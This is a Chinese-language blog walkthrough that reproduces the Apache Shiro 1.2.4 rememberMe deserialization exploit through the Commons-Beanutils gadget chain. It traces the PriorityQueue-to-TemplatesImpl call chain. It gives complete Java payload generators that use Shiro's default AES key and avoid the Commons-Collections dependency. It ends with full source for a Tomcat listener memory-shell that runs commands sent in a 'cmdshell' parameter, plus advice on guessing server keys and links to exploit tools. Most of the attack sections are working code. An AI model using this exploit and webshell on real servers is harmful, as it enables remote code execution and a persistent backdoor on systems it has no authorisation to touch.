- 0 前言
- 1 环境
- 2 commons-beanutils反序列化链
- 2.1 TemplatesImple调用链
- 2.2 PriorityQueue调用链
- 2.3 BeanComparator
- 3 Shiro无依赖paylaod
- CaseInsensitiveComparator
- java.util.Collections$ReverseComparator
- 4 总结
- 4.1 shiro反序列化的注意事项
- 4.2 shiro反序列化利用--注入内存马
0 前言
其实shiro的反序列化过程看过,原理也理解,就是没空复现一遍,正好学习ysoserial序列化系列学习之一Commons-Beanutils,复现一下shiro无其它依赖的命令执行。
1 环境
jdk 1.8u40
commons-beanutils
commons-beanutils
commons-beanutils
1.8.3
javassist
org.javassist
javassist
3.21.0-GA
shiro: https://github.com/phith0n/JavaThings/tree/master/shirodemo
shiro版本:1.2.4
2 commons-beanutils反序列化链
先上代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils {
// 修改值的方法,简化代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 创建序列化对象
BeanComparator beanComparator = new BeanComparator();
PriorityQueue
2.1 TemplatesImple调用链
这里就不详细展开了,前面的文章里面有详细的描述:https://www.cnblogs.com/bitterz/p/15263152.html#倒序分析
大致的调用链是:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
实际的操作是TemplatesImpl对象中的_bytecodes数组中的字节码,会被遍历并使用ClassLoader#defineClass加载到jvm中,而后返回一个类对象,并被调用无参构造方法,我们的payload在无参构造方法里插入了恶意代码,从而实现RCE。
2.2 PriorityQueue调用链
执行前面的代码后,看到如下调用链:
at EvilClass.(EvilClass.java)
...不重要,省略
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at java.lang.Class.newInstance(Class.java:442)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:387)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:418)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:439)
...不重要,省略
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1323)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:762)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)
可见,字节码被反序列化时,PriorityQueue#readObject方法会被调用,代码如下
- PriorityQueue#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
其实没有什么特别的操作,跟进PriorityQueue#heapify即可
- PriorityQueue#heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
此时i不重要,queue[i]=templates恶意对象,也没有太多可以说的点,因为priorityQueue对象中只保存了两个templates对象,所以继续跟进PriorityQueue#siftDown即可
- PriorityQueue#siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
此时x=templates恶意对象,这里很明显,由于priorityQueue对象创建时,我们传入了对应的comparator对象,所以comparator != null,进入PriorityQueue#siftDownUsingComparator
- PriorityQueue#siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0) // 由于if语句中使用and时,最短判断原则,当right>size时,不会执行这个compare
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0) // 这个compare方法一定会执行
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
此时x=templates恶意对象,到这里,实际上PriorityQueue的调用链就清晰了,主要是从readObject会执行到comparator.compare()方法,由于我们给定了PriorityQueue的comparator这个成员变量为BeanComparator,所以需要跟进BeanComparator.compare方法
2.3 BeanComparator
直接看代码
- BeanComparator#compare
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
我们的代码中,反射修改了BeanComparator的property属性为"outputProperties",即property="outputProperties",所以进入try代码块,之前从PriorityQueue传进来的变量o1=templates恶意对象,而PropertyUtils.getProperty方法也比较简单,就是获取指定的属性,跟进一下
- PropertyUtils#getProperty
public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
注意此时bean=templates,name="outputProperties",需要跟进PropertyUtilsBean#getProperty方法
- PropertyUtilsBean#getProperty
public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (getNestedProperty(bean, name));
}
此时bean=templates,name="outputProperties",继续跟进
- PropertyUtilsBean#getNestedProperty
public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
}
if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" +
bean.getClass() + "'");
}
// Resolve nested references
while (resolver.hasNested(name)) {
// 不关键代码
}
if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map) bean, name);
} else if (resolver.isMapped(name)) {
bean = getMappedProperty(bean, name);
} else if (resolver.isIndexed(name)) {
bean = getIndexedProperty(bean, name);
} else {
bean = getSimpleProperty(bean, name);
}
return bean;
}
此时bean=templates,name="outputProperties",要过while循环,判断语句中resolver是DefaultResolver类的实例,跟进其中的hasNested方法即可,比较简单就不贴代码了,返回值为false,所以不进入while循环,直接进入下面if else代码块,由于bean=templates所以if和else if判断都是false,进入else代码块,执行PropertyUtilsBean#getSimpleProperty
- PropertyUtilsBean#getSimpleProperty
public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
// 省略
// Handle DynaBean instances specially
if (bean instanceof DynaBean) {
// 省略
}
// Retrieve the property getter method for the specified property
PropertyDescriptor descriptor = getPropertyDescriptor(bean, name); // 关键点1和上方的注释
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
Method readMethod = getReadMethod(bean.getClass(), descriptor); // 关键点2
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}
// Call the property getter and return the value
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); // 进入TemplatesImpl#getOutputProperties()调用链
return (value);
}
这个方法中有三个关键点,第一个是调用getPropertyDescriptor方法获取属性的getter方法,从上面的英文注释就可以看到,当然具体代码也可以看到methodName="get"+name的操作。然后后getReadMethod方法获取TemplatesImpl#getOutputProperties这个method对象,然后进入invokeMethod方法,执行TemplatesImpl#getOutputProperties调用链,触发恶意代码。
3 Shiro无依赖paylaod
前面的commons-beanutils反序列化链看起来似乎只依赖了一个Commons-Beanutils依赖,但实际上打开org.apache.commons.beanutils.BeanComparator
的源代码,看到里面存在:import org.apache.commons.collections.comparators.ComparableComparator;
,而ComparableComparator来自于commons-collections。
这些依赖会导致一个问题,shiro必须使用Commons-Beanutils这个依赖,但不需要Commons-Collections,因为shiro只需要用到Commons-Beanutils中的一些类,不涉及Commons-Collections,因此前面的利用链会直接失效,我们需要对BeanComparator
中的comparator属性修改为jdk自带的类,从而避免依赖问题。
shiro的反序列化漏洞原理就不详细展开了(其实也就是获取rememberMe字段的值,然后base64解码,再aes解码,然后执行readObject反序列化),网上资料很多,我这里使用的环境来自于shirodemo,导入idea后,然后启动项目,在login.jsp页面勾选rememberMe,使用burp抓包,在cookie里面添加"rememberMe=payload;" ,注意分号;
获取payload的代码如下
package com.bitterz.stream;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutilsShiro {
// 反射修改field,统一写成函数,方便阅读代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 获取攻击链序列化后的byte数组
public static byte[] getPayload() throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 看shiro调用链用这个
// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 创建序列化对象
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add(1);
queue.add(1);
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(queue);
out.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutilsShiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
ByteSource ciphertext = aes.encrypt(payloads, key);
// 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
// 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
System.out.printf(ciphertext.toString());
}
}
执行代码,获取shiro反序列化攻击的payload,如前面说的一样,加入到cookie中,发送payload
成功弹出计算器,但是我们修改pom.xml,注释掉commons-collections的依赖,然后重启项目,就会发现之前的payload会报错:
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
这里也就很明显触发了前面提到的问题,shiro一定依赖与commons-beanutils,但Web应用不一定依赖commons-collections,那么我们应该如何修正呢?
首先是BeanComparator的几个构造方法:
- BeanComparator的构造方法
public class BeanComparator implements Comparator, Serializable {
private String property;
private Comparator comparator;
public BeanComparator() { // 构造方法1
this( null );
}
public BeanComparator( String property ) { // 构造方法2
this( property, ComparableComparator.getInstance() );
}
public BeanComparator( String property, Comparator comparator ) { // 构造方法3
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
}
可以看到,想要不使用ComparableComparator这个类,必须在构造方法3处给入comparator参数,由于comparator必须存在,但具体什么类型并不影响后面的调用链,所以给进去的这个类要满足三个条件即可:
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口 - Java、shiro或commons-beanutils自带,且兼容性强
这里直接用一下大佬给出的两个类:
- String.CASE_INSENSITIVE_ORDER获取运行环境中的CaseInsensitiveComparator类
- java.util.Collections$ReverseComparator
CaseInsensitiveComparator
利用这两个类,对前面的代码稍加修改
package com.bitterz.stream;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;
public class CommonsBeanutilsShiro {
// 反射修改field,统一写成函数,方便阅读代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 获取攻击链序列化后的byte数组
public static byte[] getPayload() throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// 看shiro调用链用这个
// payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 创建序列化对象
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // **修改点1**
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add("1"); // **修改点2**
queue.add("1");
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(queue);
out.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutilsShiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
ByteSource ciphertext = aes.encrypt(payloads, key);
// 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
// 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
System.out.printf(ciphertext.toString());
}
}
修改后,在无commons-collections的情况下再来一次
成功弹出计算器!如果想看shiro反序列化利用链的完整调用栈,可以把代码中的恶意代码改一下,上面的代码中已经给出了,操作一下就出来了。
java.util.Collections$ReverseComparator
先看看这个类相关的源码
package java.util;
public class Collections{
public static Comparator reverseOrder() { // 直接调用这里
return (Comparator) ReverseComparator.REVERSE_ORDER;
}
private static class ReverseComparator implements Comparator>, Serializable {
static final ReverseComparator REVERSE_ORDER = new ReverseComparator();
}
}
可以看到直接调用Collections#reverseOrder方法即可获得该类对象,因此对前面的payload稍加更改即可实现无依赖的shiro反序列化
//修改CommonsBeanutilsShiro类代码
BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder()); // 修改一下这里就可以
PriorityQueue queue = new PriorityQueue(2, beanComparator);
修改之后再打一次,成功弹计算器
4 总结
4.1 shiro反序列化的注意事项
由于shiro反序列化需要用到AES加密,而该加密方法的密钥是加解密一致的,所以我们使用shiro反序列化时,AES加密的密钥必须跟服务器一致,所以经常需要盲猜服务器的密钥,好在java开发们一般都不会去修改它,而且常常直接copy论坛和github上的代码,所以可以大量收集各种密钥,然后遍历来完成反序列化漏洞利用。
好在也有很多可以直接上手用的扫描或利用工具,例如xray、https://github.com/feihong-cs/ShiroExploit-Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack
4.2 shiro反序列化利用--注入内存马
由于shiro作用于中间件的filter环节,所以servlet内存马在访问阶段就被shiro干掉了,不能用。因此必须写入filter内存马,并将其放在shiro的filter前面,以便访问和利用;另外,也可以写入listener内存马,不需要操心filter顺序问题,但可能会影响服务器性能。
这里以listener内存马实验一下,首先是listener内存马部分,编译的话,需要添加tomcat/lib目录下的jar包
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
public class Add extends AbstractTranslet implements ServletRequestListener {
String uri;
String serverName;
StandardContext standardContext;
String pwd = "cmdshell"; // 内存马的密码
public Object getField(Object object, String fieldName) {
Field declaredField;
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException e){}
catch (IllegalAccessException e){}
clazz = clazz.getSuperclass();
}
return null;
}
public Add(String aaa){}
public Add() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
Object object;
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if (thread.getName().contains("exec")) {
continue;
}
Object target = this.getField(thread, "target");
if (!(target instanceof Runnable)) {
continue;
}
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (serverPort.equals(-1)){continue;}
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
this.serverName = (String) getField(serverNameMB, "strValue");
if (this.serverName == null){
this.serverName = serverNameMB.toString();
}
if (this.serverName == null){
this.serverName = serverNameMB.getString();
}
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
this.uri = (String) getField(uriMB, "strValue");
if (this.uri == null){
this.uri = uriMB.toString();
}
if (this.uri == null){
this.uri = uriMB.getString();
}
this.getStandardContext();
}
}
if (this.standardContext != null){
try {
Add addListener = new Add("aaa");
standardContext.addApplicationEventListener(addListener);
}catch (Exception e){e.printStackTrace();}
}
}
public void getStandardContext() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
HashMap children;
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
}catch (Exception e){}
if (jioEndPoint == null){
try{
jioEndPoint = getField(target, "endpoint");
}catch (Exception e){ return; }
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
StandardEngine engine = null;
try {
engine = (StandardEngine) getField(service, "container");
}catch (Exception e){}
if (engine == null){
engine = (StandardEngine) getField(service, "engine");
}
children = (HashMap) getField(engine, "children");
StandardHost standardHost;
standardHost = (StandardHost) children.get(this.serverName);
if(standardHost == null){
Iterator iterator = children.values().iterator();
while (iterator.hasNext()){
standardHost = (StandardHost) iterator.next();
if (standardHost.getName().equals(this.serverName)){
break;
}
if (standardHost.getName().equals("localhost")) {
break;
}
}
}
try{
children = (HashMap) getField(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(this.uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;
}
}catch (Exception e){
e.printStackTrace();
}
}
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public void Add(String aaa){}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmdshell = sre.getServletRequest().getParameter(this.pwd);
if (cmdshell != null) {
try {
Runtime.getRuntime().exec(cmdshell);
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
然后是构造shiro反序列化利用payload的部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import net.dongliu.commons.Sys;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;
public class CommonsBeanutilsShiro {
// 反射修改field,统一写成函数,方便阅读代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 获取攻击链序列化后的byte数组
public static byte[] getPayload() throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = new ClassPool(true);
pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\"); // 前面Add类编译出来的Add.class的路径
CtClass payload = pool.get("Add");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 创建序列化对象
// BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
PriorityQueue queue = new PriorityQueue(2, beanComparator);
queue.add("1");
queue.add("1");
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
out1.writeObject(queue);
out1.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payloads = CommonsBeanutilsShiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
ByteSource ciphertext = aes.encrypt(payloads, key);
// 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
// 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
System.out.printf(ciphertext.toString());
}
}
执行CommonsBeanutilsShiro#main方法,获得payload,用burp发包,这里都比较简单就不截图了,来看看效果:
在/shirodemo/这个uri下,输入任意路径,加参数cmdshell,即可执行命令,由于shiro的作用,执行后又会自动跳到登录页面